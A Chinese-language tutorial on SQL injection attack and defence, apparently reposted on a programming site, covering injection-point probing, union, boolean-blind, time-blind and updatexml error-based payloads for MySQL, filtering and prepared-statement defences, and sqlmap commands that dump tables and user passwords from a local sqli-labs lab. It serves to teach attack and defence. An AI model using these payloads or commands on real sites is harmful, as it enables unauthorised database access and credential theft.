SQL注入攻击与防护

目录

一、SQL注入攻击概述

1.1 SQL注入概念

1.1.1 标准查询过程

1.1.2 SQL注入定义

1.2 SQL注入根本原因

1.3 SQL注入条件

1.4 SQL注入防范

1.4.1 根本原因:过滤不严

1.4.2 安全设计原则:数据与代码分离

1.5 SQL注入流程

1.6 SQL注入分类

1.6.1 回显注入

1.6.2 盲注

二、回显注入攻击

2.1 寻找注入点

2.1.1 常用语句

2.1.2 页面反馈 

2.2 查字段数

2.2.1 常用的命令

2.2.2 代码语句

2.3 MySQL数据库

2.3.1 MySQL系统函数

三、SQL盲注攻击

3.1 SQL盲注特点

3.1.1 只有true和false

3.1.2 无数据库有效信息

3.2 SQL盲注分类

3.2.1 布尔盲注

3.2.2 时间盲注

3.2.3 报错盲注

3.3 盲注总体思路

四、SQL注入攻击防护

4.1 SQL注入防护思想

4.1.1 SQL注入关键条件

4.1.2 SQL注入本质

4.1.3 安全设计原则

4.2 SQL注入防护方法

4.2.1 参数过滤

4.2.2 预编译处理

五、SQLMap使用

5.1 SQL注入工具

5.1.1 SQLMap

5.1.2 阿D

5.1.3 名小子

5.2 SQLMap的使用

5.2.1 SQLMap介绍

5.2.2 具体使用步骤(GET型)


一、SQL注入攻击概述

1.1 SQL注入概念

1.1.1 标准查询过程

1.1.2 SQL注入定义

攻击者把SQL命令插入到Web表单的输入域页面请求的查询字符串,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而得到欺骗服务器执行恶意SQL命令的一种攻击方式。

1.2 SQL注入根本原因

没有对用户输入数据的合法性进行判断

1.3 SQL注入条件

  • 用户能够控制输入的参数,前端传给后端的参数内容是用户可以控制的。
  • 用户输入的参数被拼接到SQL语句,且带入数据库查询,成为了要执行的代码

1.4 SQL注入防范

1.4.1 根本原因:过滤不严

1.4.2 安全设计原则:数据与代码分离

1.5 SQL注入流程

  • 判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞
  • 判断Web系统的数据库类型
  • 判断数据库中判断表及相应字段的结构
  • 构造注入语句,得到表中数据内容
  • 查找网站后台,并用SQL注入得到的管理员账号和口令登陆
  • 结合其他漏洞,上传Webshell并持续连接
  • 进一步提权得到服务器的系统权限
  • 查找注入点
  • 查库名
  • 查表名
  • 查字段名
  • 查重点数据

1.6 SQL注入分类

1.6.1 回显注入

即用户发起查询请求,服务器将查询结果返回到页面中进行显示

1.6.2 盲注

盲注的特点是用户发起请求,这个请求不一定是查询,服务器响应请求进行数据库查询,将结果返回但不显示具体的查询结果。典型的场景如用户注册,我们只会得到是否注册成功提示,并不会显示出数据库内容。

二、回显注入攻击

2.1 寻找注入点

2.1.1 常用语句

' //单引号测试
1' and '1'='1 //恒真测试
1' and '1'='2 //恒假测试

2.1.2 页面反馈 

  • 页面无变化。以上三种情况页面都没有任何不同,那么说明后台针对此查询点的过滤比较严格,是否存在SQL注入漏洞还需要进行后续测试。
  • 页面中少了部分内容。如果前两种情况正常,而第三种情况明显页面有缺失,则基本可以确定存在SQL注入漏洞,用下一步继续进行判断。
  • 错误回显。如果访问第三个连接后出现数据库报错信息,明显可以判断存在注入,用回显注入法进行注入。
  • 跳转默认界面。第一种情况正常,而第二、三个直接跳转到首页后者默认页面,那么可能后台有验证逻辑。
  • 直接关闭连接。如果上述的第二、三种情况出现访问失败,那么就可能时开启了防护类工具在线阻断了。

2.2 查字段数

2.2.1 常用的命令

  • order by(确认表的列数)
  • union(判断回显的具体字段位,一般构造前面的语句为假)

2.2.2 代码语句

1' order by 1 #
1' order by 5 #

注释:#、(%23)、--+

2.3 MySQL数据库

2.3.1 MySQL系统函数

version() //返回当前数据库的版本信息
user() //返回当前用户
database() //返回当前数据库名
Group_concat() //将查询结果连接成字符串

2.3.2 SQL注入危害

  • 绕过检测非法登陆
  • 非法查询关键信息

三、SQL盲注攻击

3.1 SQL盲注特点

3.1.1 只有true和false

3.1.2 无数据库有效信息

回显注入语句中加入判断方式,使得返回结果为true或false。

3.2 SQL盲注分类

3.2.1 布尔盲注

布尔盲注是构造SQL判断语句

1' and length(database())>=5 #
1' and substr(database(),1,1)=d #
" and ord(substr(database(),3,1))=119 #

3.2.2 时间盲注

  • 时间盲注是利用时间函数,观察不同条件的等待时长。利用Sleep()或 benchmark() 等函数让MySQL的批行时间变长。
  • 时间盲育注入多与 if( expr1,expr2,expr3) 函数结合使用,其中若 expr1 为True,则返回值为 expr2 的值,否则是 expr3 的值。
If(length(database())>3, sleep(5),1)
lf(substr(database() ,1,1)='d', sleep(5),1)

3.2.3 报错盲注

构造特殊参数形式,利用某些函数的报错信息进行注入。如 updatexml(XML_document,XPath_string, new_value) 用 new_value 替换 XML_document 中符合 XPath_ string 的值。其中:

  • XML_document:String格式,为XML文档对象的名称
  • XPath_string:Xpath格式的字符串
  • new_value:String格式,替换查找到的符合条件的数据
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) //0x7e是~的十六进制ASCLL值
→ ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'

获取数据库 dvwa下的表名:

updatexml(1,concat(0x7e,(SELECT table_name from information_schema,tables where 
table_schema='dvwa' limit 0,1),0x7e),1) //报错注入只显示一条结果,故使用 limit 语句

3.3 盲注总体思路

将想要查询的数据作为目标,构造SQL条件判断语句,与要查询的数据进行比较,并让数据库告之当前语句批行是否正确。

四、SQL注入攻击防护

4.1 SQL注入防护思想

4.1.1 SQL注入关键条件

  • 用户可控输入
  • 参数带入数据库查询

4.1.2 SQL注入本质

把用户输入当作代码执行

4.1.3 安全设计原则

数据与代码分离

4.2 SQL注入防护方法

4.2.1 参数过滤

① 参数类型限制

  • 参数类型限制:类型判定函数,如数字型判定 is_numeric(),cytpe_digit() 等
  • 参数长度限定:如 strlen() 等

② 危险字符处理

  • 黑名单过滤:针对参数中敏感字符进行过滤,用到 preg_replace() 函数,如union,\,' ,select等
  • 白名单过滤:符合白名单的方能通过
  • 参数转义:使用函数 mysgli_real_escape_string 对特殊符号转义

4.2.2 预编译处理

预编译语句,绑定变量,进行参数化查询。数据库服务器在数据库完成SQL指令的编译,才套用参数运行,参数不会被数据库运行,且仅当它是一个参数而言。

五、SQLMap使用

5.1 SQL注入工具

5.1.1 SQLMap

5.1.2 阿D

5.1.3 名小子

5.2 SQLMap的使用

5.2.1 SQLMap介绍

① 概述

开源的自动化SQL注入工具,由Python写成

② 主要功能

扫描、发现、利用给定URL的SQL注入漏洞

③ 特点

  • 完全支持多种数据库管理系统:MySQL、 Oracle、PostgreSQL、 Microsoft SQL Server.Microsoft Access、IBM DB2、SQLite、 Firebird、Sybase.SAP MaxDB、HSQLDB和Informix等
  • 支持 5 种SQL注入技术联合查询注入:市尔盲注、时间盲注、报错盲注、堆查询注入
  • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
  • 支持自动识别密码哈希格式并通过字典破解密码哈希

5.2.2 具体使用步骤(GET型)

① 判断是否存在注入

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"

② 爆库

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

③ 爆表

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --tables -D security

④ 爆列

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"--columns -T users -D security

⑤ 爆数据

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1” --dump -cpassword,username -T users -D security

POST型:sqlmap.py -r 3.txt --dbs

cookie型:sqlmap.py -u “127.0.0.1/sqli-1abs/Less-20/" --cookie "uname=admin" --level 2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/1903.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

时序预测 | MATLAB实现PSO-LSTM(粒子群优化长短期记忆神经网络)时间序列预测

时序预测 | MATLAB实现PSO-LSTM(粒子群优化长短期记忆神经网络)时间序列预测 目录 时序预测 | MATLAB实现PSO-LSTM(粒子群优化长短期记忆神经网络)时间序列预测预测效果基本介绍模型介绍PSO模型LSTM模型PSO-LSTM模型 程序设计参考资料致谢 预测效果 基本介绍 Matlab基于PSO-LST…

Java日志框架介绍

​今天来聊一聊 Java 日志框架,不管是在项目开发阶段的调试,还是项目上线后的运行,都离不开日志。日志具有处理历史数据、定位程序问题、理解程序运行过程等重要作用。在 Spring 项目开发过程中我们常见的日志框架可能就是 logback、log4j2 和…

数据库的操作

前言 在之前的文章中,我们已经了解了什么是数据库,以及为什么有数据库,和数据库有什么作用,有了这些宏观概念之后,本章为大家进一步详细介绍对于数据库在Linux上如何具体操作。 1.创建数据库 1.1创建数据库语法 语法…

MyBatis-Plus:条件构造器Wrapper

目录 1.Wrapper概述 1.1.Wrapper的继承关系 1.2.Wapper介绍 1.3.各个构造器使用区别 1.4.构造器常用方法 2.Wrapper常用构造器介绍 2.1.QueryWrapper 2.2.UpdateWrapper 2.3.LambdaQueryWrapper 2.4.AbstractWrapper 3. Lambda条件构造器 3.1.示例 4.鸣谢 MyBati…

Spring Boot 如何使用 Spring Security 进行认证和授权

Spring Boot 如何使用 Spring Security 进行认证和授权 在 Web 应用程序中,认证和授权是非常重要的功能。Spring Security 是一个基于 Spring 框架的强大的安全框架,它提供了完整的认证和授权解决方案,并且可以轻松地集成到 Spring Boot 应用…

服务器编程:数据库连接池

引言: 数据库连接池和线程池的思想一样,是为了避免频繁创建和销毁数据库连接导致的性能开销。如果一个项目频繁的需要访问数据库,那么它就有可能需要频繁的创建/销毁数据库连接,那么我们可以采用数据库连接池的技术,在…

【几何数学】【Python】【C++】将线段沿着线段方向延长一定长度,求新的点

p1点和p2点是一条线段的两端,沿着p1指向p2的方向,将线段长度延伸长度x,求延伸后的点ep。如下图: Python代码: import mathdef extend_line_segment(p1, p2, extension_length):"""延伸线段长度并返回…

Redis各数据类型操作命令

一、Redis数据类型及命令 (一)String 类别命令描述命令示例备注取/赋值操作赋值set key valueset lclkey lclvalue取值 get keyget lclkey取值并赋值getset key valuegetset lclkey1 lclvalue1获取原值,并设置新的值仅当不存在时赋值setnx k…

多元回归预测 | Matlab海洋捕食者算法(MPA)优化极限学习机ELM回归预测,MPA-ELM回归预测,多变量输入模型

文章目录 效果一览文章概述部分源码参考资料效果一览 文章概述 多元回归预测 | Matlab海洋捕食者算法(MPA)优化极限学习机ELM回归预测,MPA-ELM回归预测,多变量输入模型 评价指标包括:MAE、RMSE和R2等,代码质量极高,方便学习和替换数据。要求2018版本及以上。 部分源码 %% …

Java 实现word、excel、ppt、txt等办公文件在线预览功能!

如何用 Java 实现word、excel、ppt、txt等办公文件在线预览功能?本文告诉你答案! java 实现办公文件在线预览功能是一个大家在工作中也许会遇到的需求,网上些公司专门提供这样的服务,不过需要收费。 如果想要免费的,…

设计模式第19讲——命令模式(Command)

目录 一、什么是命令模式 二、角色组成 三、优缺点 四、应用场景 4.1 生活场景 4.2 java场景 五、代码实现 5.0 代码结构 5.1 抽象命令(Command)——Command 5.2 接收者(Receiver)——Chef 5.3 具体命令(Co…

【读书笔记】《软件工程导论》

目录 一、软件工程概述 二、启动阶段 三、计划阶段 四、实施阶段 五、收尾阶段 一、软件工程概述 软件危机:在计算机软件的开发和维护过程中遇到的一系列严重问题。 软件危机的产生与自身的特点有关,还与软件开发、管理的方法不正确有关。 软件危…